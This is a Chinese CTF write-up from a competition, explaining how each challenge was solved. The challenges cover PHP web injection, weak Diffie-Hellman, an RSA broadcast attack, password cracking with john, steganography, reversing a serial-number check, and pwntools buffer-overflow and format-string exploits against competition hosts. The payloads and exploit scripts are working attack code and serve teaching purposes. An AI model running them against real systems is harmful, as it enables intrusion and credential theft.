前言
随着网络安全受到持续性关注,攻防演练和攻防成为热点,全国各类不同规模攻防演练的激增,由华安普特与京东安全赞助的开源聚合杯网络空间安全大赛于5月落下帷幕。今天以CTF中各个题型的部分赛题为例,详解打CTF的心里路程与解题思路。其中包含web、隐写、逆向、pwn等多题型。
WEB
旗帜变量
题目描述
flag真的在变量里哦
答题地址:
http://202.98.28.108:10991/uwg8923ybl/
解析思路
利用超全局变量GLOBALS
访问首页直接能获取到源代码
此题目考察的是全局变量以及var_dump的问题。我们发现代码中利用正则表达式过滤了大部分可以执行的部分,但是最终args变量带入到了var_dump中,我们可以显示其中的内容。想到了flag变量是被包含进来的,我们可以用GLOBAL变量将其显示,于是最终访问:
http://202.98.28.108:10991/uwg8923ybl/?args=GLOBALS
获得flag{92853051ab894a64f7865cf3c2128b34}
显示问题
题目描述
显示内容很丰富哦
答题地址:http://202.98.28.108:10991/b932hsfgui/
解析思路
本题目看似与上一个题目相同,但是我们发现其中少了一个$符号,也就是不存在变量名覆盖的问题,我们也就不能够直接定义一个GLOBAL变量来显示flag了。只能另想办法。
这里想到可以利用双引号的闭合然后利用eval进行命令注入。
于是传入payload:?hello=1);echo cat flag.php
;//
成功获得flag
记得要查看源代码中才能够看到注释了的flag哦
CRYPTO
交换密钥
题目描述
请找到正确的密钥并以格式:flag{a,b}形式提交
提示:有很多可能性,其中我们需要找到最大的匹配答案提交,并且a和b都小于1000
flag{710,808}
解析思路
在这个题目中,我们需要解决的是小密钥的Diffe-hellman的密钥交换破解问题,正如题目中给出的密钥交换算法中的描述:
图中展示的是两个人交换密钥的一些参数,我们现在就是一个中间人,截取到了他们两个密钥交换的中间参数。按照Diffie-Hellman的描述,我们只获取中间的参数也就是ga和gb是无法直接求出最终密钥gab的。不过这个题目中给出的参数都很小,我们可以根据题目提示,最大的一组参数暴力破解得到a和b
代码如下:
import numpy as np
q=541
g=10
alist=[]
aplus=[]
gaplus=[]
for a in range(1,1000,1):
if(a<3):
v=np.power(g,a)%q
alist.append(v)
else:
v=(alist[a-2]*g)%q
alist.append(v)
if v==298:
aplus.append(a)
gaplus.append(v)
blist=[]
bplus=[]
gbplus=[]
for b in range(1,1000,1):
if(b<3):
v=np.power(g,b)%q
blist.append(v)
else:
v=(blist[b-2]*g)%q
blist.append(v)
if v==330:
bplus.append(b)
gbplus.append(v)
gabplus=[]
for i in range(0,len(aplus),1):
for j in range(0,len(bplus),1):
for pw in range(1,bplus[j],1):
if(pw<3):
v=np.power(gaplus[i],pw)%q
gabplus.append(v)
else:
v=(gabplus[pw-2]*gaplus[i])%q
gabplus.append(v)
if(v==399):
print "flag{"+str(aplus[i])+","+str(bplus[j])+"}"
所以最终flag为:flag{710,808}
密钥测试
题目描述
Alice和Bob决定利用抓包的方式测试一下他们之间的通信是否会被泄露。抓取的数据都在日志中了,请查看一下他们的私钥是否存在被破解的危险
答案格式:flag{xxxx},不要key=flag{bff149a0b87f5b0e00d9dd364e9ddaa0}
解析思路
在这个题目中,我们获取到一个加密嗅探值sniffer_28394hjkasnf.log,根据题目描述,这个是alice和bob为了测试是否加密参数是否可行的一个值。
根据观察,我们发现其中3个值唯一相同点就是公钥参数E都是3,这是不是类似于共模漏洞也可以攻击呢?
当然可以,用以下脚本,攻击一段时间获取了私钥文件:
x1 = 258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
x2 = 82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
x3 = 22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
e = 3
n1 = 770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
n2 = 106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
n3 = 982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611
def find_invpow(x, n):
"""Finds the integer component of the n'th root of x,
an integer such that y ** n <= x < (y + 1) ** n.
"""
high = 1
while high ** n < x:
high *= 2
low = high / 2
while low < high:
mid = (low + high) // 2
if low < mid and mid ** n < x:
low = mid
elif high > mid and mid ** n > x:
high = mid
else:
return mid
return mid + 1
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod / n_i
sum += a_i * mul_inv(p, n_i) * p
return sum % prod
def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1: return 1
while a > 1:
q = a / b
a, b = b, a % b
x0, x1 = x1 - q * x0, x0
if x1 < 0: x1 += b0
return x1
if __name__ == '__main__':
n = [n1, n2, n3]
a = [x1, x2, x3]
c = chinese_remainder(n, a)
mCube = c % (n1 * n2 * n3)
solution = find_invpow(mCube, e)
# Results
print solution
print hex(solution)
# To check our result
print solution * solution * solution == mCube
经过hex转码之后得到真正的flag:
key=bff149a0b87f5b0e00d9dd364e9ddaa0
MISC
战队名
题目描述
一个大佬战队来报名了,他们的给我了一个很长的队员id名单,他们说战队名就在里面…我怎么找不到呢?
解析思路
根据题目提示,我们想要把给出的对原名称合起来,并且转换为一组值。先观察name.txt文件,发现最后一行比较奇特:
双等号的意思,所以猜测是base64.我们根据“藏头诗”的想法,提取每个名字第一个字符。并且最后追加双等号得到:
ZmxhZ3t3aGF0J3NfWW91cl9uYW1lfQ==
Base64解密之后得到最终明文:
flag{what’s_Your_name}
密码和约翰
题目描述
请找到密码相关项就是最终答案,答案格式:flag{xxx}
解析思路
本题目给出了一个linux主机中全部文件,根据提示,使用john(kali中自带安装)破解该主机中的密码,
使用命令:unshadow /etc/passwd /etc/shadow > test_passwd命令创建简单的连接文件。
使用命令:john —wordlist=/usr/share/john/password.lst test_passwd进行密码破解
使用命令:john —show test_passwd查看破解结果
那么破解了gohan用户密码为dragon1,也就是flag
签到题
题目描述
抓到了木马文件,但是被杀毒软件查杀了。请恢复签名,并找到ftp传送的文件。
解析思路
这是个签名被破坏了的数据包文件,但是不妨碍直接提取字符串。
使用strings(linux下)直接提取字符串,并用grep搜索flag
得出flag{roses_r_blue_violets_r_r3d_mayb3_harambae_is_not_kill}
STEGA
夺旗赛
题目描述
旗帜既是flag,答案格式flag{xxx}
解析思路
题目给出的影片其实需要搜索的部分是静态部分的画面,我们通过FFmpeg命令将其转换为一帧的静态图片:
根据提示,需要观察其中的旗子,通过stegsolve发现其实像素中有不同
根据黑色为“0”,白色为“1”提取得到一串二进制:
01100110 01101100 01100001 01100111 01111011 01010011 01110100 01100101 01100111 00110000 01011111 01100110 00110001 01000001 01100111 01011111 01001111 01001011 00100001 01111101
在线转换为字符得到:
https://wishingstarmoye.com/tools/ascii
flag{Steg0_f1Ag_OK!}
大脑切片
题目描述
这种透明的图片就是看得人脑壳疼…
答案格式:flag{xxx}
解析思路
图片是一张带有透明度的图片,并且颜色分布无规律的马赛克
利用alpha.py脚本将alpha通道提取并且根据颜色(rgb,都是16的倍数)进行排序,并当做ascii码转换为字符串,去除小写字母和0后得到一串明文
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.++++++.—————-.++++++.++++++++++++++++++++.——.——————————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++++++.—————————-.+++++++++++++++++++++.——————.——————————————————————————-.++++++++++++++++++++++++++++++++++++++++++++.+++++++++.————————————————————————————.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++..+++.++++++++.————————————.++++++++++++++.—————————————————————————————.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.+++++++++++++++.
利用brainfuck解密得到flag{w3_r_th3_h0llow_m3n}
REVERSE
注册码
题目描述
注册人flagshop,请找到flagshop的注册码。
flag格式:flag{xxx}
解析思路
IDA中通过shift+f12搜索字符串,找到“密钥无效”等中文信息:
找到调用函数:
其中验证函数使用的是sub_4011d0
继续跟进,发现了如下逻辑:
注册码是通过我们输入用户名得到的,而且开头会加上Happy@
所以我们写出逆算法
str='flagshop'
flag = 'Happy@'
for i in range(len(str)):
flag+=chr((i+i*ord(str[i])*ord(str[i]))%66+33)
print flag
Flag:flag{ Happy@!R+3G@-D}
PWN
你知道BOF吗?
题目描述
nc 202.98.28.108 9897
解析思路
from pwn import *
useless = 0xABCD1234
offset = 40
payload = "A" * offset + p32(0xABCD1234)
r = remote('202.98.28.108',9897)
r.sendline(payload)
r.interactive()
得出flag{what_1s_BOF_you_know_now}
我的字符串
题目描述
nc 202.98.28.108 9896
解析思路
带有canary保护,需要先利用printf格式化字符串漏洞获取保护值,再次覆盖地址:
from pwn import *
r = remote('202.98.28.108',9896)
func = 0x0804854d
r.sendline('%15$x')
canary = int(r.recv(), 16)
payload = 'A'*40 + p32(canary) + 'B'*12 + p32(func)
r.sendline(payload)
r.interactive()
得到flag{fmt_really_good_for_PWN}
锵锵锵,以上是大致解题的思路与过程,欢迎大家交流!
发表评论
您还未登录,请先登录。
登录